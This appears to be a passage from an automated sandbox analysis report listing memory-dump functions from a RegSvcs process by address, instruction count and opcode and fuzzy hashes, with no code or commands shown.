                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6465b2984aeb7273c31721b54347707de0f4f32e0bdcfbff28ce91e524dc28f3
                                                                • Instruction ID: 4173c40689e644b9b0ee15a63cf9c0f70879a9ecfc891d026e26883d46e8a71b
                                                                • Opcode Fuzzy Hash: 6465b2984aeb7273c31721b54347707de0f4f32e0bdcfbff28ce91e524dc28f3
                                                                • Instruction Fuzzy Hash: E501F932D1464E8BCF11CBB9C8405DEFBB2AFDA300F55832AD51177160E770214AC7A0
                                                                Function 00FDB240 Relevance: .0, Instructions: 47COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: ac957d037f9973673d7482d3049e1817b4abf9f9de6c8f1b2d40f11325288737
                                                                • Instruction ID: a95495839ef613104f1f1ec56d5fd29de0c97e56db9029cd46d0d8f52e533f9d
                                                                • Opcode Fuzzy Hash: ac957d037f9973673d7482d3049e1817b4abf9f9de6c8f1b2d40f11325288737
                                                                • Instruction Fuzzy Hash: 8C018C32E116499BCB01DFA8D9805CCFBB2AFA9310F660626D20573251E7B02A4AC751
                                                                Function 00FDA2A0 Relevance: .0, Instructions: 45COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c2119a2c9cef22dceea0e2c25416571b2a0f9e07f0a532da67e502fcafa9140e
                                                                • Instruction ID: 6cdd5fa7a310442a7c4494ceb9d2b85553c5808568a551dd572cdc74580fcbfe
                                                                • Opcode Fuzzy Hash: c2119a2c9cef22dceea0e2c25416571b2a0f9e07f0a532da67e502fcafa9140e
                                                                • Instruction Fuzzy Hash: 52019E32D0165A9ACF12DFA9DC400CDFB76EF8A320F654716D11077161E7702589CBA0
                                                                Function 00FD5A58 Relevance: .0, Instructions: 45COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 00c85a169d3f7c305eda4448993d713ee9d694087d79f4aed95dae361858b050
                                                                • Instruction ID: 25cfca15cc0f3d15a6f57ad6690960c951cefe800b964a1548fcbed4135136e9
                                                                • Opcode Fuzzy Hash: 00c85a169d3f7c305eda4448993d713ee9d694087d79f4aed95dae361858b050
                                                                • Instruction Fuzzy Hash: AA01B132D0064A8BCF00DBB9D8444DDFBB1EFDA301F528716C215771A1E770258ACB90
                                                                Function 00FDCFDA Relevance: .0, Instructions: 45COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 50ae84a5ca34e5de336bbbc6680a7f44472ed268ab2ec31076d97dd42648f78a
                                                                • Instruction ID: fb7eb75c65977c3b6a37d8aff13fb30756822f9dd527e168abd14b46ab399648
                                                                • Opcode Fuzzy Hash: 50ae84a5ca34e5de336bbbc6680a7f44472ed268ab2ec31076d97dd42648f78a
                                                                • Instruction Fuzzy Hash: 8C1125B58003498FDB20DFAAC484BDEBBF0AF48324F24841AD519A7350C779A945CFA0
                                                                Function 00EDD615 Relevance: .0, Instructions: 45COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3433800643.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_edd000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4aaa56d62222f60cd9fcbb449af6dd7e4efacba85eda0df22cc8c14efee89256
                                                                • Instruction ID: a2ab85b73682d75cbc3f69afb1e8d8346fcfc26545931d6f81c5c94ca7f29d7c
                                                                • Opcode Fuzzy Hash: 4aaa56d62222f60cd9fcbb449af6dd7e4efacba85eda0df22cc8c14efee89256
                                                                • Instruction Fuzzy Hash: 2801A77140C344AAE7104A15CD84B66BF98DF41768F18D45BEE1D6A392C6B9D841CAF1
                                                                Function 00FD0877 Relevance: .0, Instructions: 44COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 86bdf27505c81c2cd0250055fb02e72435a5469a910a868b1e781087832105e5
                                                                • Instruction ID: 683da1f0b16bbd3dca3d88961499cfef7df9b6f0281803f864d381d1e34bc68b
                                                                • Opcode Fuzzy Hash: 86bdf27505c81c2cd0250055fb02e72435a5469a910a868b1e781087832105e5
                                                                • Instruction Fuzzy Hash: 86018F32D1469E8BCF12DBB4CC544DCBB72EFC6310F5A0756D101BB0A1E6B4294AC791
                                                                Function 00FD9DBE Relevance: .0, Instructions: 44COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 5ffb71ec091d2bdf827cb340cacd1c4da15f89b58b4b01430ddf301112d36659
                                                                • Instruction ID: 1427fad0c94c2b0929ac1924926c8182a29e4788f7d1bfa0bf61867012a3473e
                                                                • Opcode Fuzzy Hash: 5ffb71ec091d2bdf827cb340cacd1c4da15f89b58b4b01430ddf301112d36659
                                                                • Instruction Fuzzy Hash: F8018C35A042188FCF25CF69C8409DABBF2FF88310B148A6ED486A7715C731AD45CFA0
                                                                Function 00FD4D88 Relevance: .0, Instructions: 44COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b3f2607d328c72f3f6c8baa9c05c7ce2d8400d16c2ff03459f3810a7df45e844
                                                                • Instruction ID: 65a5a9e683c45547c59dafcd9f501ed453d44e1770a53fcd4c0925839c1de244
                                                                • Opcode Fuzzy Hash: b3f2607d328c72f3f6c8baa9c05c7ce2d8400d16c2ff03459f3810a7df45e844
                                                                • Instruction Fuzzy Hash: B201DF32E1061E87CF01DBA8DD448DDB7B6EFC9301F624716E1017B2A0EB70294B8791
                                                                Function 00FDB250 Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: ea6c4c2652d8eac85ad6b0ed85de0e8b728a9fa2b0ae79ec96145533208ac0f6
                                                                • Instruction ID: d5a759d66e4372dacb4aceaea6bc93374c22d86787908ee2d0d70cd38bb1aeb6
                                                                • Opcode Fuzzy Hash: ea6c4c2652d8eac85ad6b0ed85de0e8b728a9fa2b0ae79ec96145533208ac0f6
                                                                • Instruction Fuzzy Hash: 55012C32D1060D97CF11DFA9D9844CDFBB6EF99320F650626D20577150EB703A4A8760
                                                                Function 00FD3B50 Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b2deef6e2aec01b139ed93cbb2ddc2fa1b5be9dde915ac1305e2e62008548261
                                                                • Instruction ID: cbd4233297ece4479c2a5e349e57178534acbab454c92473cd152fe39eda5536
                                                                • Opcode Fuzzy Hash: b2deef6e2aec01b139ed93cbb2ddc2fa1b5be9dde915ac1305e2e62008548261
                                                                • Instruction Fuzzy Hash: 11018F32D0160E9BCF00DBA9D9800DDFBB6EFC9310F654726E11077150EB702A4A8751
                                                                Function 00FD9CB0 Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 521d4c614eede62d000ae3c9c7fd9710d8b92dff4ba737212937d54e3ee6c09f
                                                                • Instruction ID: e82f5fc294c411394b7168c55376906784c6adba11bf79c9918e46a6cb77eee2
                                                                • Opcode Fuzzy Hash: 521d4c614eede62d000ae3c9c7fd9710d8b92dff4ba737212937d54e3ee6c09f
                                                                • Instruction Fuzzy Hash: 74018F32D0160E97CF00DBA9D8400DDFBB6EFC9310F614726E11073250EB702A4A87A0
                                                                Function 00FDBF30 Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 005f897de2a91fe60ae98d9f6351addc058c5859593f497d4849addfc98eb0c2
                                                                • Instruction ID: f984c198e8c45e64aa4716ff18a3f1812a2f6a543b601515527ab93440cab762
                                                                • Opcode Fuzzy Hash: 005f897de2a91fe60ae98d9f6351addc058c5859593f497d4849addfc98eb0c2
                                                                • Instruction Fuzzy Hash: 2A012832D1061E9ACF159FA9D8444CDFBB6EF89320F554B26E21577150EB7025898BA0
                                                                Function 00FD55B8 Relevance: .0, Instructions: 42COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 201faf4e183c6f7ab3e7124ceb679d4f2d6402dc95afcc7a10f6bc6fb7a50bbd
                                                                • Instruction ID: d3fdbea4b47b2fa2083fd45f86e92fef52923b03fce316b8e83d901a9e5198a4
                                                                • Opcode Fuzzy Hash: 201faf4e183c6f7ab3e7124ceb679d4f2d6402dc95afcc7a10f6bc6fb7a50bbd
                                                                • Instruction Fuzzy Hash: 42014F32E1064E87CF11DBB9D8404DEF7B6AFC9310F618626D61577150EB70258ACBA1
                                                                Function 00FD2720 Relevance: .0, Instructions: 42COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f3420db2cc4fe41398dccbb132bf0f5ee6d56a7f5977828144ce66aaea61bba3
                                                                • Instruction ID: 65c99222012fac058d04846c68342a4f238eab4262fdadae8108fb71226f1bab
                                                                • Opcode Fuzzy Hash: f3420db2cc4fe41398dccbb132bf0f5ee6d56a7f5977828144ce66aaea61bba3
                                                                • Instruction Fuzzy Hash: B5014B32E1064E8BCF119BBAD8404DEF7B6AFC9310F618726D61577250EB70258ACBA1
                                                                Function 00FD4D98 Relevance: .0, Instructions: 40COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b2bdf6a893aee767983aca007009bbefae153de38521f423ee8e2bcfa0645087
                                                                • Instruction ID: 3b0c25c7cfcf2a15bb593b318c433e63d86e9d3f62eef1ffbba75fddf78b3bdb
                                                                • Opcode Fuzzy Hash: b2bdf6a893aee767983aca007009bbefae153de38521f423ee8e2bcfa0645087
                                                                • Instruction Fuzzy Hash: 2F016932E2061E9BCF00DBA9DC448DDF7B6EFCA710F614726E11177290EB70294A8791
                                                                Function 00FDA328 Relevance: .0, Instructions: 39COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 700dccb5a6f8176da9c52985119261826b89fc4c1421bd3953218f12173fb5c7
                                                                • Instruction ID: 29c81610f03dc5d0bad95f35a01cf94b192a57b30dc3a63c474ef800ef6909c3
                                                                • Opcode Fuzzy Hash: 700dccb5a6f8176da9c52985119261826b89fc4c1421bd3953218f12173fb5c7
                                                                • Instruction Fuzzy Hash: CAF02272D101899BDB119BB8C4A6AEFBFB38F84310F14852AD802AB341DE70180BD782
                                                                Function 00FDC8C8 Relevance: .0, Instructions: 38COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 38c88dad01514d17be2005185af64b36d8288cf52acc1562e26c4fdd228d5ac6
                                                                • Instruction ID: 4810fdcab8618f5a172715333282b19ce520dd6a2424ebedc59ef869574bab47
                                                                • Opcode Fuzzy Hash: 38c88dad01514d17be2005185af64b36d8288cf52acc1562e26c4fdd228d5ac6
                                                                • Instruction Fuzzy Hash: 3DF03C32D1060E96DF00DBE9D8494EEBBB6EFCA320F654621D61137160EB70259A8BA1
                                                                Function 00FD2160 Relevance: .0, Instructions: 38COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 67ee988e7dcc8d54967091652b410a5361d1cab46b1acc49bdd0cbe1abea3f54
                                                                • Instruction ID: 06ab0ac3e24864a0785aadfd796f40de33210bc86a5bb034b4a83725a8e23c18
                                                                • Opcode Fuzzy Hash: 67ee988e7dcc8d54967091652b410a5361d1cab46b1acc49bdd0cbe1abea3f54
                                                                • Instruction Fuzzy Hash: 64F02B72E101499BDB15DB68C8A59EFBFB28F54300F25852AD913BB340DFB05D0A97C1
                                                                Function 00FD5AD8 Relevance: .0, Instructions: 38COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 680279320a916f7eb0871b25c242f11cbe6e7a17829011ac97daca08b716d742
                                                                • Instruction ID: 26e71b91f0a29b30911bc92e09a3593b9d17c64bf2c40bdec65fb08b4b80d476
                                                                • Opcode Fuzzy Hash: 680279320a916f7eb0871b25c242f11cbe6e7a17829011ac97daca08b716d742
                                                                • Instruction Fuzzy Hash: 3AF04632D140898BDF16DB74C8A09EFBFB29F94300F19842BD402BB341EFB0080A9781
                                                                Function 00FD4E10 Relevance: .0, Instructions: 38COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0188e9487100b2f44d8224eb0438f99f8766fecca8df4cb845bbe5f94eb4cdcf
                                                                • Instruction ID: 9d4102424b72e9e6e1623c6005a002e7a290d310b755dbd6d8b3be2108efec98
                                                                • Opcode Fuzzy Hash: 0188e9487100b2f44d8224eb0438f99f8766fecca8df4cb845bbe5f94eb4cdcf
                                                                • Instruction Fuzzy Hash: 36F0F672E101499BDB049B64C8959EFBFB2AF98310F15482AD502A7380DEB0590687D1
                                                                Function 00FDA778 Relevance: .0, Instructions: 38COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c16a941e4f1052f57de422a3bb4f936660e5afa53ada0ea61b3918dee4b15538
                                                                • Instruction ID: b2c2dd78cb5a749909fa4371626d8f71d461cfaa9708a6dd71f5e9f2bba59fcb
                                                                • Opcode Fuzzy Hash: c16a941e4f1052f57de422a3bb4f936660e5afa53ada0ea61b3918dee4b15538
                                                                • Instruction Fuzzy Hash: 89F0F6B2E011059BDB059B60C4959EEBFB29F94310F154426D502B7380EEB54D06D691
                                                                Function 00FDB2C7 Relevance: .0, Instructions: 37COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1121aacac7cb0cc1b4282cd4987e9fc0d0cb6fdae6d1f03323abf210ddfdbd73
                                                                • Instruction ID: b9ca30147cc0e114f2c916aa6be40f04ffb7c1aac55f86662dfbd1e8084e2166
                                                                • Opcode Fuzzy Hash: 1121aacac7cb0cc1b4282cd4987e9fc0d0cb6fdae6d1f03323abf210ddfdbd73
                                                                • Instruction Fuzzy Hash: BEF0F672E201499BCB15AF74C465AEFBFB28F94300F16856AD916BB340DEB04D07D792
                                                                Function 00FD3BC9 Relevance: .0, Instructions: 37COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7a4cfa82ea001f6fece18dd2556156eda474d92ae865c32ced6f4cd105f390ee
                                                                • Instruction ID: d59c1881384560cade41d3d5704de96607a688abe7feb64a8b9daab31afdaf49
                                                                • Opcode Fuzzy Hash: 7a4cfa82ea001f6fece18dd2556156eda474d92ae865c32ced6f4cd105f390ee
                                                                • Instruction Fuzzy Hash: 5DF0F672E201899BDB049B64C4A5AEFBFF29F98300F06453AD603BB380DEB059058782
                                                                Function 00FDC5E2 Relevance: .0, Instructions: 37COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4b02c59b8c6db7899becc812758ab80ca00e08c71f27e52fd2d753bceec5347c
                                                                • Instruction ID: dd9bb2fd4f708fc4fc9dceb67a5635aa02e48a57a905be788c28a152f8f6a0a9
                                                                • Opcode Fuzzy Hash: 4b02c59b8c6db7899becc812758ab80ca00e08c71f27e52fd2d753bceec5347c
                                                                • Instruction Fuzzy Hash: 06F0F632D1018A9BDB259B78C4A69FFBFB29F98310F198926D502AB381DE705907D7C1
                                                                Function 00FD9D28 Relevance: .0, Instructions: 37COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b728b58752af488ff91951eaaa4e672533f12aa8e95b20f69764619f8668682b
                                                                • Instruction ID: 1d7dceeb666fb8f5cb18f37ee11ff4311bfc5b5590e79f05c4ee7f7642b3b6bb
                                                                • Opcode Fuzzy Hash: b728b58752af488ff91951eaaa4e672533f12aa8e95b20f69764619f8668682b
                                                                • Instruction Fuzzy Hash: 44F0C272E102499BDB04AB64C4A5AEEBFB38F98300F154826D542AB341DEB14907C7D1
                                                                Function 00FDBFA8 Relevance: .0, Instructions: 37COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f822980363da303a1fb9b8d70968fa42ad71696a2a3bd403471da0c76f1b00a7
                                                                • Instruction ID: 46a8319830b1b1e80022673fdfc4754a530a7f9b87a3e4ef9d86be2f19b15721
                                                                • Opcode Fuzzy Hash: f822980363da303a1fb9b8d70968fa42ad71696a2a3bd403471da0c76f1b00a7
                                                                • Instruction Fuzzy Hash: 73F0F672E1014997CB059BA4C459AEFBFB38F88310F058836D502A7350DE715D07D7D1
                                                                Function 00FD27A0 Relevance: .0, Instructions: 37COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7cffa6e22e06298139c6813681b0de07c0eb6e6bb7193b6adcec1c9829b8652b
                                                                • Instruction ID: afb33a33302ed7513c9b723a7daae23009d764dbdb57a97434a85cc1d8281c86
                                                                • Opcode Fuzzy Hash: 7cffa6e22e06298139c6813681b0de07c0eb6e6bb7193b6adcec1c9829b8652b
                                                                • Instruction Fuzzy Hash: 1BF06832D101499BDF15DB74C895AEFBFB29F94300F05452AD502B7381DE74190AD7D1
                                                                Function 00FD1E67 Relevance: .0, Instructions: 36COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 50d65e2572dda77f20485dc0901ffd229e6f6fa5e0313d84b449a124989fd522
                                                                • Instruction ID: aa06f3fbf3a9f09d214d62b13c0c53e87bf2ae01e0f4ccb23d22ce5173e57198
                                                                • Opcode Fuzzy Hash: 50d65e2572dda77f20485dc0901ffd229e6f6fa5e0313d84b449a124989fd522
                                                                • Instruction Fuzzy Hash: 2DF0F672E04289AFDB15DB60C8A59EFFFB35F98300F15482ED542B7391DEB059068792
                                                                Function 00FD264A Relevance: .0, Instructions: 36COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1f851d1cf8773db61ebbafd226adbdcee832bc75f773cde21aa0609b5b47999d
                                                                • Instruction ID: 2f915dcf29a7aea5db6e14dd91c66031d0bc3604fe6a43b449c515e43f8d2392
                                                                • Opcode Fuzzy Hash: 1f851d1cf8773db61ebbafd226adbdcee832bc75f773cde21aa0609b5b47999d
                                                                • Instruction Fuzzy Hash: 58011D71E052469FDB55CFACD480A9CBBF1BF59320F198296E459DB3A1D730D881CB50
                                                                Function 00FD5639 Relevance: .0, Instructions: 36COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3734a7db7ab4281ec1e1417ed287ac877688cdbea8759f0caf959586200b184c
                                                                • Instruction ID: aac2f090b967771abbe63f295883e244673ef49a2aa2bb14d77ac0fd8c794bc5
                                                                • Opcode Fuzzy Hash: 3734a7db7ab4281ec1e1417ed287ac877688cdbea8759f0caf959586200b184c
                                                                • Instruction Fuzzy Hash: C0F04632E105498BCB15CB70C860AEFBFB25F88300F48482AD403AB380DEB0480AC781
                                                                Function 00EDD614 Relevance: .0, Instructions: 36COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3433800643.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_edd000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 9afaab50602fa4982234761a8f04ab37f5db9bf4f609825e8cf1cad0aa664c5b
                                                                • Instruction ID: 876aad1a1727a3c5fee514ebcd67dc74d6e4bd9e148aae3c52177988fde45b65
                                                                • Opcode Fuzzy Hash: 9afaab50602fa4982234761a8f04ab37f5db9bf4f609825e8cf1cad0aa664c5b
                                                                • Instruction Fuzzy Hash: 53F0C2B1408344AAE7108E05CD84B62FF98EB81738F18C05BED1D5B282C3789841CAB1
